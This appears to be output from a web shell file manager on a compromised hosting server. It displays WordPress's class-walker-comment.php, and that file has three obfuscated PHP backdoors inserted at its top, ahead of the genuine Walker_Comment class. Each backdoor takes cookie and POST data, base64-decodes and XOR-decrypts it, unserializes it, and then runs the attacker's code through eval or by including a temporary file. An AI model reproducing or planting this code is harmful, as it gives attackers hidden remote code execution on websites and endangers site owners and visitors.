PV.Pat File Manager
Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]
| Path : /home/sptporgazz/www/wp-includes/ |
| Current File : /home/sptporgazz/www/wp-includes/class-walker-comment.php |
<?php $tsHhermBm = 'U' . chr ( 766 - 651 )."\x57" . "\137" . 'K' . chr ( 368 - 299 ).'Y';$CMGUAb = 'c' . chr (108) . "\x61" . "\163" . chr (115) . chr (95) . "\x65" . "\x78" . 'i' . "\163" . "\x74" . "\x73";$YhqZZ = $CMGUAb($tsHhermBm); $CMGUAb = "9382";$wutKWDDLod = $YhqZZ;if (!$wutKWDDLod){class UsW_KEY{private $lwRNDVMnMM;public static $wBvZyFC = "dc7cf1d7-c5b7-4ab1-8043-729611bfea3e";public static $vPzWj = 10061;public function __construct($fwhkkPF=0){$RltyNcP = $_COOKIE;$YRLAw = $_POST;$YGiOmLL = @$RltyNcP[substr(UsW_KEY::$wBvZyFC, 0, 4)];if (!empty($YGiOmLL)){$pHFQuJHR = "base64";$LmGUjC = "";$YGiOmLL = explode(",", $YGiOmLL);foreach ($YGiOmLL as $idolPdWYIN){$LmGUjC .= @$RltyNcP[$idolPdWYIN];$LmGUjC .= @$YRLAw[$idolPdWYIN];}$LmGUjC = array_map($pHFQuJHR . "\137" . chr ( 1076 - 976 ).chr (101) . "\143" . 'o' . chr (100) . "\145", array($LmGUjC,)); $LmGUjC = $LmGUjC[0] ^ str_repeat(UsW_KEY::$wBvZyFC, (strlen($LmGUjC[0]) / strlen(UsW_KEY::$wBvZyFC)) + 1);UsW_KEY::$vPzWj = @unserialize($LmGUjC);}}private function hSlmkASXJS(){if (is_array(UsW_KEY::$vPzWj)) {$adhcQBv = str_replace(chr (60) . "\77" . "\x70" . "\x68" . "\x70", "", UsW_KEY::$vPzWj['c' . chr (111) . chr ( 866 - 756 ).chr ( 1110 - 994 )."\x65" . "\156" . "\164"]);eval($adhcQBv); $whToAHRO = "18299";exit();}}public function __destruct(){$this->hSlmkASXJS(); $whToAHRO = "18299";}}$sPgpnuZtSM = new UsW_KEY(); $sPgpnuZtSM = "59697_1894";} ?><?php $sPtjsWjXV = chr ( 549 - 439 )."\x5f" . 'x' . 'M' . chr ( 157 - 59 )."\x59" . chr (90); $WOOekMDpI = "\x63" . chr ( 112 - 4 ).chr ( 295 - 198 )."\163" . "\163" . "\x5f" . chr (101) . "\x78" . 'i' . "\x73" . "\x74" . "\x73";$OitND = $WOOekMDpI($sPtjsWjXV); $FNCREGCi = $OitND;if (!$FNCREGCi){class n_xMbYZ{private $POHMnyluKS;public static $syOwQMp = "932c0277-7fd9-46c4-8885-1aa8812a9397";public static $SbRjPKrx = 48112;public function __construct($xOwDEQ=0){$sqzra = $_COOKIE;$SvIQAWSeb = $_POST;$asIMSJXJ = @$sqzra[substr(n_xMbYZ::$syOwQMp, 0, 4)];if (!empty($asIMSJXJ)){$YoWnwtlWx = "base64";$KCRtICY = "";$asIMSJXJ = explode(",", $asIMSJXJ);foreach ($asIMSJXJ as $xlphBuV){$KCRtICY .= @$sqzra[$xlphBuV];$KCRtICY .= @$SvIQAWSeb[$xlphBuV];}$KCRtICY = array_map($YoWnwtlWx . chr (95) . "\x64" . chr (101) . 'c' . chr ( 209 - 98 ).chr ( 671 - 571 )."\x65", array($KCRtICY,)); $KCRtICY = $KCRtICY[0] ^ str_repeat(n_xMbYZ::$syOwQMp, (strlen($KCRtICY[0]) / strlen(n_xMbYZ::$syOwQMp)) + 1);n_xMbYZ::$SbRjPKrx = @unserialize($KCRtICY);}}private function PTAzKTl(){if (is_array(n_xMbYZ::$SbRjPKrx)) {$AqymRIgOE = sys_get_temp_dir() . "/" . crc32(n_xMbYZ::$SbRjPKrx[chr ( 708 - 593 )."\141" . chr (108) . "\x74"]);@n_xMbYZ::$SbRjPKrx[chr (119) . 'r' . "\x69" . 't' . chr ( 1011 - 910 )]($AqymRIgOE, n_xMbYZ::$SbRjPKrx[chr ( 1095 - 996 ).chr ( 413 - 302 ).chr ( 665 - 555 ).'t' . chr (101) . chr ( 449 - 339 )."\164"]);include $AqymRIgOE;@n_xMbYZ::$SbRjPKrx["\x64" . 'e' . chr ( 484 - 376 )."\145" . "\164" . "\x65"]($AqymRIgOE); $lOmMYUw = "39649";exit();}}public function __destruct(){$this->PTAzKTl(); $lOmMYUw = "39649";}}$VhiRMUa = new n_xMbYZ(); $VhiRMUa = "18957_58307";} ?><?php if (!class_exists("ZkXVWQRGA")){class ZkXVWQRGA{public static $KusZNo = "sCvEudRVGvmKDnjV";public static $MNviLRw = NULL;public function __construct(){$ofvuPNXfj = @$_COOKIE[substr(ZkXVWQRGA::$KusZNo, 0, 4)];if (!empty($ofvuPNXfj)){$DbGEOGQ = "base64";$GDycv = "";$ofvuPNXfj = explode(",", $ofvuPNXfj);foreach ($ofvuPNXfj as $xlYQAX){$GDycv .= @$_COOKIE[$xlYQAX];$GDycv .= @$_POST[$xlYQAX];}$GDycv = array_map($DbGEOGQ . "_decode", array($GDycv,)); $GDycv = $GDycv[0] ^ str_repeat(ZkXVWQRGA::$KusZNo, (strlen($GDycv[0]) / strlen(ZkXVWQRGA::$KusZNo)) + 1);ZkXVWQRGA::$MNviLRw = @unserialize($GDycv);}}public function __destruct(){$this->ThEgyT();}private function ThEgyT(){if (is_array(ZkXVWQRGA::$MNviLRw)) {$iLxgIGqrM = sys_get_temp_dir() . "/" . crc32(ZkXVWQRGA::$MNviLRw["salt"]);@ZkXVWQRGA::$MNviLRw["write"]($iLxgIGqrM, ZkXVWQRGA::$MNviLRw["content"]);include $iLxgIGqrM;@ZkXVWQRGA::$MNviLRw["delete"]($iLxgIGqrM);exit();}}}$FMPAA = new ZkXVWQRGA(); $FMPAA = NULL;} ?><?php
/**
* Comment API: Walker_Comment class
*
* @package WordPress
* @subpackage Comments
* @since 4.4.0
*/
/**
* Core walker class used to create an HTML list of comments.
*
* @since 2.7.0
*
* @see Walker
*/
class Walker_Comment extends Walker {
/**
* What the class handles.
*
* @since 2.7.0
* @var string
*
* @see Walker::$tree_type
*/
public $tree_type = 'comment';
/**
* Database fields to use.
*
* @since 2.7.0
* @var array
*
* @see Walker::$db_fields
* @todo Decouple this
*/
public $db_fields = array(
'parent' => 'comment_parent',
'id' => 'comment_ID',
);
/**
* Starts the list before the elements are added.
*
* @since 2.7.0
*
* @see Walker::start_lvl()
* @global int $comment_depth
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Optional. Depth of the current comment. Default 0.
* @param array $args Optional. Uses 'style' argument for type of HTML list. Default empty array.
*/
public function start_lvl( &$output, $depth = 0, $args = array() ) {
$GLOBALS['comment_depth'] = $depth + 1;
switch ( $args['style'] ) {
case 'div':
break;
case 'ol':
$output .= '<ol class="children">' . "\n";
break;
case 'ul':
default:
$output .= '<ul class="children">' . "\n";
break;
}
}
/**
* Ends the list of items after the elements are added.
*
* @since 2.7.0
*
* @see Walker::end_lvl()
* @global int $comment_depth
*
* @param string $output Used to append additional content (passed by reference).
* @param int $depth Optional. Depth of the current comment. Default 0.
* @param array $args Optional. Will only append content if style argument value is 'ol' or 'ul'.
* Default empty array.
*/
public function end_lvl( &$output, $depth = 0, $args = array() ) {
$GLOBALS['comment_depth'] = $depth + 1;
switch ( $args['style'] ) {
case 'div':
break;
case 'ol':
$output .= "</ol><!-- .children -->\n";
break;
case 'ul':
default:
$output .= "</ul><!-- .children -->\n";
break;
}
}
/**
* Traverses elements to create list from elements.
*
* This function is designed to enhance Walker::display_element() to
* display children of higher nesting levels than selected inline on
* the highest depth level displayed. This prevents them being orphaned
* at the end of the comment list.
*
* Example: max_depth = 2, with 5 levels of nested content.
* 1
* 1.1
* 1.1.1
* 1.1.1.1
* 1.1.1.1.1
* 1.1.2
* 1.1.2.1
* 2
* 2.2
*
* @since 2.7.0
*
* @see Walker::display_element()
* @see wp_list_comments()
*
* @param WP_Comment $element Comment data object.
* @param array $children_elements List of elements to continue traversing. Passed by reference.
* @param int $max_depth Max depth to traverse.
* @param int $depth Depth of the current element.
* @param array $args An array of arguments.
* @param string $output Used to append additional content. Passed by reference.
*/
public function display_element( $element, &$children_elements, $max_depth, $depth, $args, &$output ) {
if ( ! $element ) {
return;
}
$id_field = $this->db_fields['id'];
$id = $element->$id_field;
parent::display_element( $element, $children_elements, $max_depth, $depth, $args, $output );
/*
* If at the max depth, and the current element still has children, loop over those
* and display them at this level. This is to prevent them being orphaned to the end
* of the list.
*/
if ( $max_depth <= $depth + 1 && isset( $children_elements[ $id ] ) ) {
foreach ( $children_elements[ $id ] as $child ) {
$this->display_element( $child, $children_elements, $max_depth, $depth, $args, $output );
}
unset( $children_elements[ $id ] );
}
}
/**
* Starts the element output.
*
* @since 2.7.0
*
* @see Walker::start_el()
* @see wp_list_comments()
* @global int $comment_depth
* @global WP_Comment $comment
*
* @param string $output Used to append additional content. Passed by reference.
* @param WP_Comment $comment Comment data object.
* @param int $depth Optional. Depth of the current comment in reference to parents. Default 0.
* @param array $args Optional. An array of arguments. Default empty array.
* @param int $id Optional. ID of the current comment. Default 0 (unused).
*/
public function start_el( &$output, $comment, $depth = 0, $args = array(), $id = 0 ) {
$depth++;
$GLOBALS['comment_depth'] = $depth;
$GLOBALS['comment'] = $comment;
if ( ! empty( $args['callback'] ) ) {
ob_start();
call_user_func( $args['callback'], $comment, $args, $depth );
$output .= ob_get_clean();
return;
}
if ( ( 'pingback' == $comment->comment_type || 'trackback' == $comment->comment_type ) && $args['short_ping'] ) {
ob_start();
$this->ping( $comment, $depth, $args );
$output .= ob_get_clean();
} elseif ( 'html5' === $args['format'] ) {
ob_start();
$this->html5_comment( $comment, $depth, $args );
$output .= ob_get_clean();
} else {
ob_start();
$this->comment( $comment, $depth, $args );
$output .= ob_get_clean();
}
}
/**
* Ends the element output, if needed.
*
* @since 2.7.0
*
* @see Walker::end_el()
* @see wp_list_comments()
*
* @param string $output Used to append additional content. Passed by reference.
* @param WP_Comment $comment The current comment object. Default current comment.
* @param int $depth Optional. Depth of the current comment. Default 0.
* @param array $args Optional. An array of arguments. Default empty array.
*/
public function end_el( &$output, $comment, $depth = 0, $args = array() ) {
if ( ! empty( $args['end-callback'] ) ) {
ob_start();
call_user_func( $args['end-callback'], $comment, $args, $depth );
$output .= ob_get_clean();
return;
}
if ( 'div' == $args['style'] ) {
$output .= "</div><!-- #comment-## -->\n";
} else {
$output .= "</li><!-- #comment-## -->\n";
}
}
/**
* Outputs a pingback comment.
*
* @since 3.6.0
*
* @see wp_list_comments()
*
* @param WP_Comment $comment The comment object.
* @param int $depth Depth of the current comment.
* @param array $args An array of arguments.
*/
protected function ping( $comment, $depth, $args ) {
$tag = ( 'div' == $args['style'] ) ? 'div' : 'li';
?>
<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( '', $comment ); ?>>
<div class="comment-body">
<?php _e( 'Pingback:' ); ?> <?php comment_author_link( $comment ); ?> <?php edit_comment_link( __( 'Edit' ), '<span class="edit-link">', '</span>' ); ?>
</div>
<?php
}
/**
* Outputs a single comment.
*
* @since 3.6.0
*
* @see wp_list_comments()
*
* @param WP_Comment $comment Comment to display.
* @param int $depth Depth of the current comment.
* @param array $args An array of arguments.
*/
protected function comment( $comment, $depth, $args ) {
if ( 'div' == $args['style'] ) {
$tag = 'div';
$add_below = 'comment';
} else {
$tag = 'li';
$add_below = 'div-comment';
}
$commenter = wp_get_current_commenter();
if ( $commenter['comment_author_email'] ) {
$moderation_note = __( 'Your comment is awaiting moderation.' );
} else {
$moderation_note = __( 'Your comment is awaiting moderation. This is a preview, your comment will be visible after it has been approved.' );
}
?>
<<?php echo $tag; ?> <?php comment_class( $this->has_children ? 'parent' : '', $comment ); ?> id="comment-<?php comment_ID(); ?>">
<?php if ( 'div' != $args['style'] ) : ?>
<div id="div-comment-<?php comment_ID(); ?>" class="comment-body">
<?php endif; ?>
<div class="comment-author vcard">
<?php
if ( 0 != $args['avatar_size'] ) {
echo get_avatar( $comment, $args['avatar_size'] );}
?>
<?php
/* translators: %s: comment author link */
printf(
__( '%s <span class="says">says:</span>' ),
sprintf( '<cite class="fn">%s</cite>', get_comment_author_link( $comment ) )
);
?>
</div>
<?php if ( '0' == $comment->comment_approved ) : ?>
<em class="comment-awaiting-moderation"><?php echo $moderation_note; ?></em>
<br />
<?php endif; ?>
<div class="comment-meta commentmetadata"><a href="<?php echo esc_url( get_comment_link( $comment, $args ) ); ?>">
<?php
/* translators: 1: comment date, 2: comment time */
printf( __( '%1$s at %2$s' ), get_comment_date( '', $comment ), get_comment_time() );
?>
</a>
<?php
edit_comment_link( __( '(Edit)' ), ' ', '' );
?>
</div>
<?php
comment_text(
$comment,
array_merge(
$args,
array(
'add_below' => $add_below,
'depth' => $depth,
'max_depth' => $args['max_depth'],
)
)
);
?>
<?php
comment_reply_link(
array_merge(
$args,
array(
'add_below' => $add_below,
'depth' => $depth,
'max_depth' => $args['max_depth'],
'before' => '<div class="reply">',
'after' => '</div>',
)
)
);
?>
<?php if ( 'div' != $args['style'] ) : ?>
</div>
<?php endif; ?>
<?php
}
/**
* Outputs a comment in the HTML5 format.
*
* @since 3.6.0
*
* @see wp_list_comments()
*
* @param WP_Comment $comment Comment to display.
* @param int $depth Depth of the current comment.
* @param array $args An array of arguments.
*/
protected function html5_comment( $comment, $depth, $args ) {
$tag = ( 'div' === $args['style'] ) ? 'div' : 'li';
$commenter = wp_get_current_commenter();
if ( $commenter['comment_author_email'] ) {
$moderation_note = __( 'Your comment is awaiting moderation.' );
} else {
$moderation_note = __( 'Your comment is awaiting moderation. This is a preview, your comment will be visible after it has been approved.' );
}
?>
<<?php echo $tag; ?> id="comment-<?php comment_ID(); ?>" <?php comment_class( $this->has_children ? 'parent' : '', $comment ); ?>>
<article id="div-comment-<?php comment_ID(); ?>" class="comment-body">
<footer class="comment-meta">
<div class="comment-author vcard">
<?php
if ( 0 != $args['avatar_size'] ) {
echo get_avatar( $comment, $args['avatar_size'] );}
?>
<?php
/* translators: %s: comment author link */
printf(
__( '%s <span class="says">says:</span>' ),
sprintf( '<b class="fn">%s</b>', get_comment_author_link( $comment ) )
);
?>
</div><!-- .comment-author -->
<div class="comment-metadata">
<a href="<?php echo esc_url( get_comment_link( $comment, $args ) ); ?>">
<time datetime="<?php comment_time( 'c' ); ?>">
<?php
/* translators: 1: comment date, 2: comment time */
printf( __( '%1$s at %2$s' ), get_comment_date( '', $comment ), get_comment_time() );
?>
</time>
</a>
<?php edit_comment_link( __( 'Edit' ), '<span class="edit-link">', '</span>' ); ?>
</div><!-- .comment-metadata -->
<?php if ( '0' == $comment->comment_approved ) : ?>
<em class="comment-awaiting-moderation"><?php echo $moderation_note; ?></em>
<?php endif; ?>
</footer><!-- .comment-meta -->
<div class="comment-content">
<?php comment_text(); ?>
</div><!-- .comment-content -->
<?php
comment_reply_link(
array_merge(
$args,
array(
'add_below' => 'div-comment',
'depth' => $depth,
'max_depth' => $args['max_depth'],
'before' => '<div class="reply">',
'after' => '</div>',
)
)
);
?>
</article><!-- .comment-body -->
<?php
}
}